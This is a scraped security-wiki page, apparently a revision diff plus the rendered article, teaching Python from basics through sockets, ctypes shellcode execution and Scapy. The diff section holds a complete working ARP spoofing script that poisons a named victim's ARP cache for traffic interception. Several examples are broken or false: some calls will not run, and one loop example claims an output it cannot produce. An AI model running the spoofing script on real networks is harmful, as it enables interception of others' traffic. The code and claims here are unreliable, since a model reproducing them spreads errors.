+ | listen() finds connection attempts, but you must use then accept them to form a connection between your host and the remote client. You use the aptly-named accept() function in order to do this. | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | #program that listens for connections on port 31337, and then accepts | ||
+ | import socket | ||
+ | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | ||
+ | server.bind(socket.gethostbyname(), 31337) | ||
+ | server.listen(1) #listen at port 31337 and queue only 1 connection at a time | ||
+ | connection, sock_addr = sock.accept() | ||
+ | </source>}} | ||
+ | |||
+ | As you can see, the accept() function creates an entirely new socket - your original socket (in this case 'sock') can continue listening for new connections, while the newly created socket (in this case 'connection') can be used to send and receive data from the client. | ||
+ | |||
+ | |||
+ | ===Sending and Receiving=== | ||
+ | |||
+ | Whether you have connected to a remote host or accepted a connection from a client, sending and receiving are what allow data to be transferred. The send() and recv() functions from the socket module are basically identical - the only difference is whether data is being sent or received. | ||
+ | |||
+ | ====Encoding==== | ||
+ | |||
+ | See: [[Byte]] | ||
+ | |||
+ | You CANNOT send a string over a socket in python. Instead, you must first encode it in binary format. It is decoded and turned into text, or whatever it is intended to be, at the receiving end. Likewise, any data that you receive will be encoded. | ||
+ | |||
+ | ====Sending and Receiving==== | ||
+ | |||
+ | After encoding data, the send() and recv() can be used for their respective purposes. They both take one argument - send() takes the data to be sent as an argument, whereas recv() takes the number of bytes to be received as an argument. recv() returns the data received. | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | #a program to connect to BHA irc | ||
+ | import socket | ||
+ | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM | ||
+ | sock.connect(("irc.blackhatacademy.org", 6697)) #this is not a typo, you must use 2 sets of parentheses | ||
+ | nickname = "NICK Eschaton\r\n" #here we encode our nick request | ||
+ | encoded_nick = bytes(nickname, 'utf-8') | ||
+ | sock.send(encoded_nick) #here we send our nick request | ||
+ | username = "USER Neo {0} Neo :m4tr1c3s\r\n".format(server) #here we encode our username request | ||
+ | encoded_user = bytes(username, 'utf-8') | ||
+ | sock.send(encoded_user) #here we send our username request | ||
+ | #etc... | ||
+ | </source>}} | ||
+ | |||
+ | ===SSL=== | ||
+ | |||
+ | Implementing [[HTTPS|SSL]] is surprisingly easy in python. In addition to the socket module, the ssl module must also be important to provide the functionality. After defining your socket, you use the wrap_socket() function from the ssl module to make a clone of the original socket with SSL functionality. | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | import socket | ||
+ | import ssl | ||
+ | base_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | ||
+ | sock = ssl.wrap_socket(base_sock) | ||
+ | #etc... | ||
+ | </source>}} | ||
+ | |||
+ | ==Ctypes== | ||
+ | |||
+ | ctypes is a foreign function module. It provides C-compatible datatypes such as int and char and allows functions from C shared objects to be called. | ||
+ | |||
+ | ===Loading a Shared Object=== | ||
+ | |||
+ | The ctypes modules contains the CDLL() function for loading shared objects. For example, to load the C libraries: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | import ctypes | ||
+ | libc = ctypes.CDLL("libc.so.6") | ||
+ | </source>}} | ||
+ | |||
+ | The creates an instance 'libc' with the functions from the shared library libc.so.6 (the linux C shared library), meaning that you can now call functions from libc. | ||
+ | |||
+ | ===Calling a function from a loaded Shared Object=== | ||
+ | |||
+ | To call a function from the loaded instance of libc, do: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | libc.printf(bytes("hello, world!\n", 'utf-8')) #calls the C function printf | ||
+ | </source>}} | ||
+ | |||
+ | Note that in order to pass a string argument to a C function, you must encode it as binary. | ||
+ | |||
+ | ===Executing shellcode=== | ||
+ | |||
+ | Executing shellcode in Python using the Ctypes library is very straight forward: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="python"> | ||
+ | import ctypes | ||
+ | payload = "\x00\x00\x00\x00\x00\x00" | ||
+ | memory = ctypes.create_string_buffer(payload, len(payload)) | ||
+ | shellcode = ctypes.cast(memory, ctypes.CFUNCTYPE(ctypes.c_void_p)) | ||
+ | shellcode() | ||
+ | </source>}} | ||
+ | |||
+ | If you need to trim down on space, you can use: from ctypes import * | ||
+ | and all the functions can be called without the preceeding ctypes. flag. | ||
+ | |||
+ | =Useful Libraries= | ||
+ | |||
+ | Python has many useful libraries that can aid in writing security tools. One is [https://www.secdev.org/projects/scapy/ Scapy], a packet manipulation and sniffing library. | ||
+ | |||
+ | ==Scapy== | ||
+ | |||
+ | Scapy is in most distribution's repositories under scapy or python-scapy and it must be ran as root for most (if not all) operations. | ||
+ | Sniffing in scapy is fairly straight forward using the sniff() function: | ||
+ | |||
+ | {{code|text=<source lang="python"> | ||
+ | sniff(prn=lambda pkt:callback_function(pkt), store=0) # pkt is the variable to assign the packet to and callback_function is the function called when a packet is sniffed. | ||
+ | </source>}} | ||
+ | |||
+ | Packet crafting can be done by creating each header, ethernet headers (include source and destination MAC addresses) using Ether(), IP headers (which include information such as source and destination IP addresses) via the IP() function. If it is a TCP packet, the TCP() function is used, and if it is UDP, the UDP() function. An example of a GET request: | ||
+ | |||
+ | {{code|text=<source lang="python"> | ||
+ | pkt = Ether()/IP(dst="www.blackhatlibrary.net")/TCP()/"GET /Python HTTP\1.1\n\n" # most arguments for the functions are optional, when not set, defaults are used | ||
+ | send(pkt) | ||
+ | </source>}} | ||
+ | |||
+ | The actual packet can be dumped by: | ||
+ | |||
+ | {{code|text=<source lang="python"> | ||
+ | >>> hexdump(pkt) | ||
+ | 0000 00 25 84 FC EF CA 00 26 C7 0A F3 78 08 00 45 00 .%.....&...x..E. | ||
+ | 0010 00 3D 00 01 00 00 40 06 7D D5 AC 11 03 8F C7 1B .=....@.}....... | ||
+ | 0020 86 29 00 14 00 50 00 00 00 00 00 00 00 00 50 02 .)...P........P. | ||
+ | 0030 20 00 9E ED 00 00 47 45 54 20 2F 50 79 74 68 6F .....GET /Pytho | ||
+ | 0040 6E 20 48 54 54 50 01 2E 31 0A 0A n HTTP..1.. | ||
+ | </source>}} | ||
+ | |||
+ | Many tools can be created using scapy, to demonstrate the simplicity, here is an example of an [[ARP_poisoning|ARP spoofing]] script: | ||
+ | |||
+ | {{code|text=<source lang="python"> | ||
+ | #!/usr/bin/python | ||
+ | import sys, os, time | ||
+ | from scapy.all import * | ||
+ | |||
+ | # ARP ping to get the original MAC addresses | ||
+ | def get_original_macs(ip): | ||
+ | ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip),timeout=2) | ||
+ | for snd,rcv in ans: | ||
+ | return rcv.sprintf("%Ether.src%") | ||
+ | |||
+ | # restore ARP tables (so the machines can actually connect) | ||
+ | def restore_original_state(spoofed_ip, victim, spoofed_mac, victim_mac): | ||
+ | send(ARP(op=2, psrc=spoofed_ip, pdst=victim, hwdst="ff:ff:ff:ff:ff", hwsrc=spoofed_mac)) | ||
+ | send(ARP(op=2, psrc=victim, pdst=spoofed_ip, hwdst="ff:ff:ff:ff:ff", hwsrc=victim_mac)) | ||
+ | |||
+ | # Initiate ARP poisoning | ||
+ | def arp_poison(spoofed_ip, victim): | ||
+ | send(ARP(op=2, psrc=spoofed_ip, pdst=victim, hwdst="ff:ff:ff:ff:ff:ff")) | ||
+ | send(ARP(op=2, psrc=victim, pdst=spoofed_ip, hwdst="ff:ff:ff:ff:ff:ff")) | ||
+ | |||
+ | def main(): | ||
+ | if os.geteuid() != 0: | ||
+ | print "Please run as root." | ||
+ | exit() | ||
+ | |||
+ | if len(sys.argv) != 3: | ||
+ | print "Usage: " + sys.argv[0] + " <IP to masquerade as> <victim>" | ||
+ | exit() | ||
+ | |||
+ | print "Poisoning: " + sys.argv[2] | ||
+ | print "Faked IP: " + sys.argv[1] | ||
+ | print "\nPress ctrl+c to exit." | ||
+ | |||
+ | try: | ||
+ | spoofed_mac = get_original_macs(sys.argv[1]) | ||
+ | victim_mac = get_original_macs(sys.argv[2]) | ||
+ | except: | ||
+ | print "Error: Unable to get MAC addresses, qutting." | ||
+ | exit(1) | ||
+ | |||
+ | while 1: | ||
+ | try: | ||
+ | arp_poison(sys.argv[1], sys.argv[2]) | ||
+ | time.sleep(2) | ||
+ | except KeyboardInterrupt: | ||
+ | print "Caught interrupt\nRestoring network state then exiting." | ||
+ | restore_original_state(sys.argv[1], sys.argv[2], spoofed_mac, victim_mac) | ||
+ | exit(0) | ||
+ | |||
+ | if __name__ == "__main__": | ||
+ | main() | ||
+ | </source>}} | ||
+ | |||
+ | {{programming}}{{social}} | ||
+ | |||
+ | [[Category:Interpreted languages]][[Category:Administration]] |
Latest revision as of 19:09, 31 May 2015
Python is a high-level interpreted language (originally written in C) designed around functionality and cleanliness. It is often compared to perl in terms of functionality and usage.
Contents
Strengths and Weaknesses of Python
Python draws strength from being convenient and simple to write. Many people view it as one of the easiest scripting languages to code in. As such, a common usage for python is to write a 'prototype' of a program before implementing it in a heavier language like C. Furthermore, due to it's interpretive nature, a python script is easily modified - there are no compiled binaries to disassemble and reverse-engineer.
However, the language's strengths often become weaknesses. For example, as was noted before, python is not a compiled language. This means that it is very difficult to protect python code - every program is in its raw form, and can be freely edited and reused. There are methods, such as code obfuscation, that can be used to protect code, but these are not foolproof. In addition, python programs tend to run inefficently, hogging more resources than necessary - tasks like cracking, encryption, or anything that requires large numbers of computations should preferably be automated with some other language.
One of the most pertinent drawbacks to python is it's incompatibility - as of version 3.0 of Python, a large portion of the language has been rewritten, including many keywords being turned into functions - for example
print "hello, world!" #a keyword |
would now be
print("hello, world!") #a function |
Although this and other changes are relatively minor, they render python 3.0 programs incompatible with 2.6, 2.5 etc. This is further exascerbated by the fact that many developers continue to code in 2.6.
Installation
Python development is based at it's website at python.org. Python (in every recent incarnation) can be downloaded in the form of Windows binaries and sources for compilation in a *nix environment. While it is currently available in versions 2.7.2 and 3.2.2, it is advised that new programmers download the latest version so as not to learn a language that is becoming obsolete - of course, it is wise to learn the nuances between 2.7 and 3.2 so that you can port older programs, and write programs that are compatible with older versions.
Many distributions come with python preloaded (although it may be an older version), while many more will be able to obtain python using the package manager of their choice. For example, in Arch:
pacman -S python
|
Under Windows, python can either be run from the command line or under it's GUI, as installed under the Python folder of the Start menu. Under linux, python is entirely commandline.
Python operates in two modes - the IDLE, which is an interactive python prompt, in which you can execute python statements in a manner that is persistent within your session, but is lost when you exit. It can also be used to run a python script, which has the extension .py
To run a python script, execute:
python scriptname.py |
It will be executed in the commandline.
To open the IDLE, simple type:
python |
You should be presented with some version information and a prompt like this:
>>>
From there on, any python statement will execute as if read from a .py program. Use the exit() function to close the IDLE.
Basic Application
Python Operators
These are the basic operators of the python language, used for comparison and assignment:
- = is equal to (assignment)
- == equal to (comparison)
- != not equal to
- > greater than
- > less than
- >= greater than or equal to
- <= less than o equal to
Python Arithmetic
The standard arithmetic operators in python are as follows:
- + addition
- - subtraction
- * multiplication
- / division
- ** powers
Python Bitwise Operators
Python also supports some bitwise operations:
- ^ xor
- & and
- | or
- << bitwise shift left
- >> bitwise shift right
Variable Definition
Python variables are 'loosely typed', meaning that they don't have a set type - other languages, such as C, require the type of a variable to be defined. For example, a variable designed to store integers must be set as an int, and will not store characters, or boolean values, or anything else - attempting to store these in it will raise an exception.
To define a variable (x, for the sake of the argument) you use the '=' operator:
x = 12 |
Note that there is no definition of type. Python knows it's meant to represent a number because we put a number into it. This is both flexible and, at times, annoying when you try to perform an operation that is invalid and it breaks.
There is a distinct difference between the '==' and '=' operators. It's important to recognise this, as getting the two mixed up is one of the most common rookie errors in any language. '=' sets something equal to something else, whereas '==' compares two values and returns true if they're equal. |
Python does support the string datatype - that is, you can define a variable to be equal to a string of text, for example:
hi = "hello, world!" |
Strings can be added to each other in much the same manner as numbers can - adding two strings will simply return the first string with the second string tacked on at the end.
Another form of variable that python employs is the list. This is similar to an array in C and other languages - a list can be defined by giving a series of values enclosed by squared brackets [ ]. Items in the list can be referenced according to index number (zero indexed) in much the same manner as C.
Example:
list = [ " is ", "eggs", "male", "selketraz" ] print(list) print(list[3] + list[0] + list[2]) |
Output:
[" is ", "eggs", "male", "selketraz"] selketraz is male |
A string can be referred to as though it were a list - for example, in the string "hello" stored in variable 'hi', you could reference the letter 'e' by referring to h[1]. However, python does not allow you to assign values to elements in a string.
Printing and Receiving Input
Two basic functions that are instrumental to writing python code are the print() and input() calls. print() simply prints whatever arguments you give it to stdout, and input takes a string prompt as an argument and returns whatever input that it receives from stdin, in the form of a string.
for example:
name = input("What is your name? ") print(name) |
The snippet above would print a prompt to the screen saying "What is your name? ", and wait for input. When you press the enter key, any input you've given it will be stored into the variable 'name'. It then prints the value of the variable 'name'.
Take notice that in versions of Python before 3.x, the input() call should be raw_input(). In the example below you can see the difference when using input() vs raw_input() and problems that may arise.
home ~ » python Python 2.7.3 (default, Aug 1 2012, 05:14:39) [GCC 4.6.3] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> name = input("What is your name? ") What is your name? admin Traceback (most recent call last): File "<stdin>", line 1, in <module> File "<string>", line 1, in <module> NameError: name 'admin' is not defined >>> name = raw_input("What is your name?" ) What is your name? admin >>> name 'admin'
It is pertinent to note that the print() call can print both the value of a variable - print(name) - or it can be supplied with a raw string - print("hello, world!"). It's also important to remember that input() always returns a string - if you're trying to use a number from input, you'd have to typecast it, as discussed later.
Commenting
It is possible to insert a comment, a block of text that is not interpreted by the python interpreter, into a module with the # symbol. This is not part of the program, but exists for readability. For example:
print("hello, world!") #prints hello to the screen |
Comments can also be made in larger, multi-line blocks by using threee double quotes at the start and end of your text.
"""
Here is an example of a multi-line comment
inside of a Python script.
This text is not evaluated when your code is executed.
Comment sections like this are a good place to hold To-Do lists
and other longer text blocks
"""
|
Modules
A module is a seperate python script (in some languages, it is called a header) that can be included in multiple programs to add functionality. This has several uses:
- code reuse - modular code can be easily imported into any script
- ease of reading - it's easier to locate code in a set of modules than in one huge program
There are many python modules that are a part of the basic python framework, and can be called from anywhere. Examples include the time module, which contains functionality for the clock and sleep functions, or the random module, which contains functionality for random generation. It is also possible to write your own modules containing functions, and import them into a program in the same way.
In order to import a module(for example random):
import random |
Third-Party and Custom Modules
In order to import one of your own custom modules or a third-party downloaded module, simply place them in the same directory and import them in the same manner. For example, if you had written a module, my_module.py:
import my_module
|
Alternatively, you can install the module, integrating it into your distribution of Python. In order to install a packaged module, simply unzip the parent directory and run the setup.py setup script:
python setup.py install
|
If the script is not packaged with a setup script, you can manually add it to Python's search path; when it sees the import command, the interpreter first searches for the relevant module in the current directory, then in the standard python module directory. In unix, this is usually "/usr/local/lib/python", so to add module 'autopwn.py':
cp ./autopwn.py /usr/local/lib/python |
You would then be able to call autopwn.py from any python script with
import autopwn
|
Calling on a function within a module
As an example of how to call functions from within modules, we will use the time module. The syntax for calling a function stored in a module is:
modulename.functionname(argument) |
Likewise, to reference a variable from a module:
modulename.variablename |
To illustrate this, in order to use the sleep() function from the time module:
import time time.sleep(50) #sleep 50 seconds |
Variable Operation
List Operations
Using the string module, it is possible to perform a variety of transformations to strings that go beyond the basic concatenation and indexing functionality that python provides.
Although we have seen that it is possible to reference a character in a string by its indexed position, it is possible to extend this. By including a colon : in the square brackets, we can indicate a range of characters(or other elements) to select. This functionality does not require the string module.
for example:
test_str = "hello, world!" print (test_str[0:5]) print(test_str[:7]) print(test_str[-2:] |
output:
hello, |
As we can see here, it follows a few basic rules:
- [n:x] select characters from position n to position x
- [:n] select characters from the beginning of the string up to position n
- [n:] select characters from position n to the end of the string
- [-n:] select characters from n to the end of the string, starting from the right (note: when starting from the right, it is not considered to be zero-indexed)
Advanced List Operations
append()
Syntax:
list.append(item) |
Append 'item' to list 'list'.
insert()
Syntax:
list.insert(index,item) |
Instrt 'item' into 'list' at position 'index'.
index()
Syntax:
return = list.index(match) |
Returns the index value of the first value of 'list' whose value is equal to 'match' into 'return'.
String Operations
Using the string module, it is possible to perform a variety of transformations to strings that go beyond the basic concatenation and indexing functionality that python provides.
strip()
Syntax:
strname.strip("phrase") |
Strips out every instance of "phrase" from the string 'strname'
split()
Syntax:
list = strname.split("delimiter") |
Splits 'strname' into a list of elements seperated by the delimiter given as an argument and returns it into 'list'. By default, the delimiter is " ".
For example:
string1 = "#hardchatz all day erryday" list = string1.split('a') print(list) |
output:
['#h', 'rdch', 'tz ', 'll d', 'y erryd', 'y'] |
find()
Syntax:
int = strname.find("match") |
Searches for an instance of "match" in string 'strname', and returns -1 to 'int' if false.
Typecasting
In many cases, we are presented with a variable that has the wrong datatype - a common example would be the return value of the input() call. It always returns a string, as in this example:
#calculator num1 = input("Enter first number: ") num2 = input("Enter second number: ") print(num1 + num2) |
The above snippet of code looks like it should work, and will execute without errors. However, if for example you put in the numbers 1 and 4 to add together, as output you will be given: 14.
The reason for this is that input() returns a string. When you try to add num1 and num2, python sees the following:
num1 + num2 |
In order to solve it, you must convert the string containing the number into an actual integer:
#calculator num1 = input("Enter first number: ") num2 = input("Enter second number: ") print(int(num1) + int(num2)) |
Typecasting functions:
- int() returns the argument as an integer
- str() returns the argument as a string
Note that this is not technically typecasting in the traditional sense as the functions actually convert the arguments, but it serves the same purpose.
Statements and Loops
Without some form of control flow, any python program is just a series of executed commands. Python, like almost every other programming language, employs loops and statements to create forks in program execution depending on circumstance.
If Statement
One of the most vital statements, If is used in almost every program. Expect to get familiar with it! The if statement is used in three flavors: If, If-Else and If-Elif (and combinations there of, e.g If-Elsif-Else).
If
The simple if statement simply checks whether a condition is met - if it is, it executes some code, otherwise it continues.
Syntax:
x = input("X: ") if int(x) > 4: print("x is greater than 4.") |
Note the whitespace before the print call - this is how the interpreter knows which code is part of the if statement and which code is to be executed after the if statement is done. Standard whitespace is either 1 tab or 4 spaces.
If-Else
If-Else will execute in much the same way as the basic if statement, but with a form of exception handling: it will execute one set of instructions if the condition is met, and will execute another if it is not.
Syntax:
x = input("X: ") if int(x) > 4: print("x is greater than 4.") else: print("x is not greater than 4.") |
Again, note the use of whitespace.
If-Elif
Elif is short for "Else-If", and the If-Elif statement does exactly that. Instead of writing:
Syntax:
if int(condition): code else: if (condition): code |
You can use if-elif to condense this, like so:
x = input("X: ") if int(x) > 4: print("x is greater than 4.") elif int(x) == 4: print("x is equal to 4.") elif int(x) < 4: print("x is less than 4.") |
While Loop
The function of the while loop is to execute an if statement endlessly until the specified condition is no longer met.
Syntax:
x = 0 while x < 20: print(x) x = x + 1 |
The above snippet of code will endlessly print the value of x, and then increase it by 1, until x is equal to or greater than 20.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
Keep in mind that while loops with lots of nested If-Elif statements are a great way to hog resources..
If you have a situation that requires a loop to be continuously executed, you can use statements that will always be evaluated as True.
This is occasionally utilized for command line prompts, although prompts are better created by using the Python module 'Cmd'. You can use 'break' to exit out of a continuous loop.
prompt = "cmd => " while True: command = input(prompt) if command == "exit!": break else: os.system(command) |
For Loop
For is one of the more complicated loops (though still quite simple to use) that can be confusing to those used to other languages, as the for loop in python differs from the for loop in C.
Syntax:
for local in sequence: code |
The for loop allows you to specify a list, and assign a temporary local variable (in the case above, it is 'local') that represents the current item. For example, to increase every value in a list by 1:
list1 = [1,2,3,4,5,6,7,8,9,10] for item in list1: item = item + 1 print(list1) |
output:
[2, 3, 4, 5, 6, 7, 8, 9, 10, 11] |
Functions
Functions have been briefly touched on before when referring to the commands that you pass to python in order to execute code: for example: print(), int(), and input() are all examples of functions. We have also referred to functions from imported module, for example the time module's sleep() function.
To define a function, use the def statement:
def function_name(arguments): code to be executed |
For example, for a function to add one to any number given to it as input:
def addone(in_var): in_var = in_var + 1 return in_var |
This layout, like the for loop's function, can be confusing. In C and other languages, you return a numeric value (which acts as an error code for the function) and you take both input and output variables as arguments. In python, however, you only take input variables as functions, and you can return anything - in fact, you often have to in order to have any output. Returning instantly ends the function, so it's a good way to break out of an if statement or while loop without executing the code after it.
The variables that you refer to in the arguments section of the function definition are temporary local variables, much like those of a for loop. For example, if you called addone() with addone(x), then for that execution the function would look like this:
def addone(x): x = x + 1 return x |
It should also be noted that any variables declared within the function are considered local variables, even if there is a global variable of the same name. A global variable is one that exists throughout the entire program, whereas a local variable exists only in the function it's defined in. For example. if you define variable x in a function, then try to call on x after the function ends, you will receive an error - x does not exist outside of that function. In order to call a glboal variable within a function, you must set it with the global type:
number = 7 def func(): global number number = 9 print(number) |
output:
9 |
Classes
A class is an object archetype that groups common elements, similar to a struct in C.
When a class is defined, an initialisation function, __init__(), must be defined. This takes the first argument as self and any further arguments to the class. The purpose of __init__() is to convert the arguments to the class into self.argument variables. This is necessary so that functions within the class can reference these arguments by including self as an argument and referencing self.argument.
To define a function that is an element of a class, simply give it self as its first argument and it can use any of the self.argument variables. You can also provide additional arguments to the function.
For example, a to create a class 'message' that stores messages and contains a function to print them:
class message: #defines a class called message def __init__(self, text): #defines the initialisation function that takes arguments from the class instance creation self.text = text #converts the text argument ino a variable that is an element of the instance of the class, self.text def print(self): #a function that prints self.text print(self.text) instance = message("this is my message") print (instance.text) instance.print() |
File Handling
As long as your program only interfaces with itself, it can never interact with other applications or store the results of its work - one way of designing persistent programs is to have them save data to and read data from a file. This is where some of the real power of a scripting language can be seen, as in python this is incredibly easy.
Opening and closing a file
In order to interact with a file in python, you create a new object that represent the file within your program, known as the file object or file descriptor. The open() call is used to open a file, and it returns a file descriptor that you can use to read from and write to this file.
Syntax:
fd = open(path, mode) |
This opens a file where 'fd' is a variable that will become the file descriptor, 'path' is a string containing the path to the file, and 'mode' is a string containing the access mode for opening. Different access modes are used for different types of file access.
Access Modes:
- r: read-only permission
- w: overwrite-only permission
- a: write-append permission
- r+: read and overwrite permission
for example:
fd = open("~/file.txt", "r+") |
To close a file descriptor once you're done with it, simply call the close() function, which takes an fd as its argument.
Once a file is open, you can apply a variety of functions to its file descriptor to read and write what it contains.
Reading from a file
There are several functions used for reading from a file. For each of them, the function is called as an element of the file descriptor:
fd.function() |
read()
read() simply reads data directly from a file into a buffer. It can be called without an argument, in which case it reads the entire file, or it can be given an integer limit (in bytes) of how much data to read.
Example:
fd = open("~/test.txt", "r+") buffer = fd.read(1000) |
readline()
Similar to read(), the readline() function returns a new line from the file each time it is called. It can be easily incorporated into a while loop to read every line of a file, although the readlines() function eliminates the need for this. If asked to read a new line when it has reached the end of file, it returns an empty string, .
Example:
fd = open("~/test.txt", "r+") #printing a file line by line buffer = "\n" while buffer != "": buffer = fd.readline() print(buffer) |
readlines()
As mentioned before, readlines() reads each line of a file, and stores the output in a list.
Example:
fd = open("~/test.txt", "r+") #printing a file line by line buf_list = fd.readlines() for item in buf_list: print(item) |
Socket Programming
Alhough socket programming can be complicated and counter-intuitive in any language, python is one of the easiest to do this in. A socket is a kind of file descriptor that is used to refer to a network connection made between the computer, often known as the client, and any remote host. Socket programming in python is somewhat similar to file manipulation - in effect, it is the concept of files and file descriptors implemented in such a way that a connection is considered to be a file. This is instrumental to the UNIX philosophy.
In order to use the socket functions, you must import the socket module.
Creating a Socket
The socket function from the socket module is used to open a new socket in much the same way that open() is used to open files. It takes two arguments: the socket family and the socket type.
Socket Families:
- AF_INET: IPv4 (you will probably use this)
- AF_INET6: IPv6
- AF_UNIX: unix domain
Socket Types:
- SOCK_STREAM: TCP, used for secure connections with little packet loss
- SOCK_DGRAM: UDP, used for many games and utilities
- SOCK_RAW: a raw socket
Example:
#creates a socket intended to connect to a server import socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
Much like files, sockets are closed with the close() function from the socket module.
Connecting a Socket
Once a socket has been created, you have opened a raw filed descriptor that python knows is intended to represent a specific type of network connection. After this, it is necessary to connect the socket to a remote host. This is done with the connect() function.
Note: If you are setting up a host rather than a client, you will need to read Binding and Accepting.
The connect() function takes two arguments - the hostname in string form, and a port number to connect to in integer form.
Example:
#expanding our example to connect to blackhat academy's irc import socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM sock.connect(("irc.blackhatacademy.org", 6697)) #this is not a typo, you must use 2 sets of parentheses |
If you are the client of your connection, you need not worry about Binding and Accepting, and can move on to Sending and Receiving.
Binding and Accepting
This is only relevant if your socket is intended to be a host.
Binding
If you are planning to accept incoming connections, you must bind your socket. Whereas connecting forms a connection with a remote socket, binding tells your socket to that it should use a specific port when looking for incoming connections.
You bind a socket using the bind() function, which takes 2 arguments: the hostname that you wish to bind to, and the port you wish to bind to. In general, the hostname will be your hostname, so you can use the gethostbyname() function from the socket module as the hostname argument. Once it is bound to your hostname and to a specific port, the socket knows that when told to listen, it should listen at that port.
Example:
#simple program in preparation for accepting connections on port 31337 import socket server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(socket.gethostbyname(), 31337) |
Listening
Once the socket is bound to a port, you must tell it to listen at that port. "Listening" refers to monitoring a port so that it can handle anything that tries to connect to that port. The listen() function does this, listening to connection attempts. It takes one argument, an integer value representing the maximum number of queued connection attempts to hold before dropping older ones.
Example:
#simple program in preparation for accepting connections on port 31337, it now listens for incoming connections import socket server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(socket.gethostbyname(), 31337) server.listen(1) #listen at port 31337 and queue only 1 connection at a time |
After a connection is made, it must be accepted.
Accepting
listen() finds connection attempts, but you must use then accept them to form a connection between your host and the remote client. You use the aptly-named accept() function in order to do this.
#program that listens for connections on port 31337, and then accepts import socket server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(socket.gethostbyname(), 31337) server.listen(1) #listen at port 31337 and queue only 1 connection at a time connection, sock_addr = sock.accept() |
As you can see, the accept() function creates an entirely new socket - your original socket (in this case 'sock') can continue listening for new connections, while the newly created socket (in this case 'connection') can be used to send and receive data from the client.
Sending and Receiving
Whether you have connected to a remote host or accepted a connection from a client, sending and receiving are what allow data to be transferred. The send() and recv() functions from the socket module are basically identical - the only difference is whether data is being sent or received.
Encoding
See: Byte
You CANNOT send a string over a socket in python. Instead, you must first encode it in binary format. It is decoded and turned into text, or whatever it is intended to be, at the receiving end. Likewise, any data that you receive will be encoded.
Sending and Receiving
After encoding data, the send() and recv() can be used for their respective purposes. They both take one argument - send() takes the data to be sent as an argument, whereas recv() takes the number of bytes to be received as an argument. recv() returns the data received.
#a program to connect to BHA irc import socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM sock.connect(("irc.blackhatacademy.org", 6697)) #this is not a typo, you must use 2 sets of parentheses nickname = "NICK Eschaton\r\n" #here we encode our nick request encoded_nick = bytes(nickname, 'utf-8') sock.send(encoded_nick) #here we send our nick request username = "USER Neo {0} Neo :m4tr1c3s\r\n".format(server) #here we encode our username request encoded_user = bytes(username, 'utf-8') sock.send(encoded_user) #here we send our username request #etc... |
SSL
Implementing SSL is surprisingly easy in python. In addition to the socket module, the ssl module must also be important to provide the functionality. After defining your socket, you use the wrap_socket() function from the ssl module to make a clone of the original socket with SSL functionality.
import socket import ssl base_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock = ssl.wrap_socket(base_sock) #etc... |
Ctypes
ctypes is a foreign function module. It provides C-compatible datatypes such as int and char and allows functions from C shared objects to be called.
The ctypes modules contains the CDLL() function for loading shared objects. For example, to load the C libraries:
import ctypes libc = ctypes.CDLL("libc.so.6") |
The creates an instance 'libc' with the functions from the shared library libc.so.6 (the linux C shared library), meaning that you can now call functions from libc.
To call a function from the loaded instance of libc, do:
libc.printf(bytes("hello, world!\n", 'utf-8')) #calls the C function printf |
Note that in order to pass a string argument to a C function, you must encode it as binary.
Executing shellcode
Executing shellcode in Python using the Ctypes library is very straight forward:
import ctypes payload = "\x00\x00\x00\x00\x00\x00" memory = ctypes.create_string_buffer(payload, len(payload)) shellcode = ctypes.cast(memory, ctypes.CFUNCTYPE(ctypes.c_void_p)) shellcode() |
If you need to trim down on space, you can use: from ctypes import * and all the functions can be called without the preceeding ctypes. flag.
Useful Libraries
Python has many useful libraries that can aid in writing security tools. One is Scapy, a packet manipulation and sniffing library.
Scapy
Scapy is in most distribution's repositories under scapy or python-scapy and it must be ran as root for most (if not all) operations. Sniffing in scapy is fairly straight forward using the sniff() function:
sniff(prn=lambda pkt:callback_function(pkt), store=0) # pkt is the variable to assign the packet to and callback_function is the function called when a packet is sniffed. |
Packet crafting can be done by creating each header, ethernet headers (include source and destination MAC addresses) using Ether(), IP headers (which include information such as source and destination IP addresses) via the IP() function. If it is a TCP packet, the TCP() function is used, and if it is UDP, the UDP() function. An example of a GET request:
pkt = Ether()/IP(dst="www.blackhatlibrary.net")/TCP()/"GET /Python HTTP\1.1\n\n" # most arguments for the functions are optional, when not set, defaults are used send(pkt) |
The actual packet can be dumped by:
>>> hexdump(pkt) 0000 00 25 84 FC EF CA 00 26 C7 0A F3 78 08 00 45 00 .%.....&...x..E. 0010 00 3D 00 01 00 00 40 06 7D D5 AC 11 03 8F C7 1B .=....@.}....... 0020 86 29 00 14 00 50 00 00 00 00 00 00 00 00 50 02 .)...P........P. 0030 20 00 9E ED 00 00 47 45 54 20 2F 50 79 74 68 6F .....GET /Pytho 0040 6E 20 48 54 54 50 01 2E 31 0A 0A n HTTP..1.. |
Many tools can be created using scapy, to demonstrate the simplicity, here is an example of an ARP spoofing script:
